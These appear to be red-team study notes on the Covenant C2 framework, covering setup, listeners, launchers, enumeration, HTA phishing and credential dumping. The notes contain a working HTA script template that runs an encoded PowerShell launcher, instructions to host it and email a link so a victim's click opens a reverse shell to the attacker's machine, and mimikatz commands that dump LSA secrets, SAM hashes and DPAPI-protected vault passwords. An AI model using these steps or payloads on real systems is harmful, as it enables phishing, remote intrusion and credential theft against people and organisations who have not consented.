Covenant

Installation

Install Dotnet

cd /tmp  
wget https://packages.microsoft.com/config/ubuntu/21.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb 
sudo dpkg -i packages-microsoft-prod.deb 
sudo apt update -y  
sudo apt-get install -y apt-transport-https dnsutils 
sudo apt-get update  
sudo apt-get install -y dotnet-sdk-3.1 

Install and launch Covenant

sudo git clone --recurse-submodules https://github.com/ZeroPointSecurity/Covenant.git /opt/Covenant 
cd /opt/Covenant/Covenant
sudo dotnet run

• Navigate to https://127.0.0.1:7443 set up your user and you should be good to go

Start a listener

• This one of the first thing to do it go to the listener tab and click on create
• Fill the field as you wish. Here is mine (Note: When playing on HTB or THM the ip will be your tun ip)

Create a Launcher to get a shell

• We can go to Launcher and choose one we need. For example if we have an initial foothold on a win machine we could use a powershell launcher
• Say we wanted a powershell, we need to choose a listener so we can select the http one we just created then we just have to click generate (or Download depending on how you will use it) and use the given code. (Note: make sure to use a date later in time for the killDate)
• Once the powershell code used you see a grunt has popped

Launchers type

• Binary Generates a custom binary to launch grunt, does not rely on a system binary.

• Shellcode Converts binary to shellcode using donut

• PowerShell Generates PowerShell code to launch a grunt using powershell.exe.

• MSBuild Generates an MSBuild XML file to launch a grunt using msbuild.exe

• InstallUtil Generates an InstallUtil XML file to launch a grunt using installutil.exe

• Mshta Generates an HTA file to launch a grunt using mshta.exe

• Regsrv32 Generates an SCT file to launch a grunt using regsrv32.exe

• Wmic Generates an XSL file to launch a grunt using wmic.exe

• Cscript Generate a JScript file to launch a grunt using cscript.exe

• Wscript Generate a JScript file to launch a grunt using wscript.exe

Local Enumeration

• Suppose we have a grunt (a shell on the target) so we want to enumerate the target

• Click on the grunt > Interact

• Use Seatbelt Seatbelt -group=all

  • We will get useful info: local users, dns info (such as email domain and all), interesting files, etc.

• Use the cmd GetDomainUser to enumerate domain users

• Use the cmd GetNetLoggedOnUserto have a list of logged on users

• Use the cmd GetNetLocalGroup to have a list of local group

• etc.

hta Email Phishing

• Create and hta file in your attacking machine:

<script language="VBScript">
  Function DoStuff()
    Dim wsh
    Set wsh = CreateObject("Wscript.Shell")
    wsh.run "<powershell command here>"
    Set wsh = Nothing
  End Function

  DoStuff
  self.close
</script>

• Create an HTTP listener in Covenant

  • Listener > create

  • The table in listener should look like this

    Name	ListenerType	Status	StartTime	ConnectAddresses	ConnectPort
    HTTP Listener	HTTP	Active	3/7/2022 8:28:13 PM	IP-OF-ATTACK-MACHINE	80

  • Go to Launchers > Powershell

  • Fill up the info, be careful taht the killdate is later in the future (not in the past)

  • Click on generate

  • Copy the encoded Launcher and put it in the script above instead of <powershell command here>

  • Save the script

  • Go back to Listerners click on the listener that was just set up

  • Go to Hosted Files, in Path enter /name-of-your-script.hta

  • Click on Browse and select your script

  • And click on create

  • If we go to http://localhost/name-of-your-script.hta we should be able to download it

• We can now send an email with a link to our reverse shell http://IP-OF-ATTACK-MACHINE/name-of-your-script.hta

• When the user will click the link an run the script we will get our reverse shell

• If we go to Covenant again and check in Grunt we should have a new one

• If you are not able to execute command (they stay Uninitialized) try either of those:

  • Verify the kill date of the launcher

  • the UI may not allow changing the date. This can be fixed by deleting the /opt/Covenant/Covenant/data/covenant.db file and restarting the service. You will lose all data and need to create a new user to log in with.

Dump hashes with mimikatz

• In a high grunt

• We can use this to see if any plaintext info might come out Mimikatz token::elevate lsadump::secrets

• Will dump the sam file (where password hashes are stored in windows)Mimikatz token::elevate lsadump::sam

• Covenant will save the Crendentials in the Data section as well

Cracking Credential Vault with mimikatz

• We need a medium integrity grunt

• mimikatz vault::cred will show all services with persisted passwords

• ls C:\users\user\appdata\local\microsoft\credentials will list the passwords files the smallest of the files is gemerally the one we need.

• We then go to the tab tak in our grunt. We select Mimikatz from the list and type this task: "dpapi::cred /in:C:\users\user\appdata\local\microsoft\credentials\FILE-PREVIOUSLY-CHOSEN"

• From the output of the task we need to keep aside the value of the guidMasterKey

• ls C:\users\user\appdata\roaming\microsoft\protect this should list a directory with an sid value in the end

• If you do an ls on this it should list the same path with the guidMasterKey value we previously found. We need to copy the full path, and then we go to task again and using mimikatz we need to type "dpapi::masterkey /in:C:\users\user\appdata\roaming\microsoft\protect\sid\guidMasterKey /rpc"

• This way we will het in the end of the output the key for the domain controller which should look like this: key : 60f202bff3c6e2eaedfc4c28ac1adbdd102ec7dba401157f6f8c2056205507ed4e6d93120ebe48959751c0f2c939e515382d7ffec7bd2b129c8eb89466b31f0f

• We need to keep this key aside

• We go back to task and we type `"dpapi::cred /in:C:\users\user\appdata\local\microsoft\credentials\sid /masterkey:"

• This should dump the domain password, you should see it at the end of the output:

  UserName       : domain\Administrator
  CredentialBlob : Password123!

Common issues with Covenant

• Issue - The dashboard is acting weird and not allowing the creation of listeners, payloads, etc.

  • Solution - Delete /opt/Covenant/Covenant/data/Covenant.db and restart Covenant.

• Issue - I can get a Grunt to connect back to Covenant, but when attempting to run commands it just sits on uninitialized and doesn't execute.

  • Solution - This is likely an issue with the Grunt kill date. It's your responsibility to pay attention to the kill date in the launcher generator to ensure it is a date and time in the future. In rare circumstances the UI may not allow changing the date. This can be fixed by deleting the /opt/Covenant/Covenant/data/Covenant.db file and restarting the service. Note you will lose all data and need to create a new user to log in with. This is a known issue with Covenant.

Resources

GitHub - cobbr/Covenant: Covenant is a collaborative .NET C2 framework for red teamers.GitHub

Get Covenant here

Movement, Pivoting and Persistence for Pentesters and Ethical Hackers

Movement Pivoting and Persistence - TCM Security Academy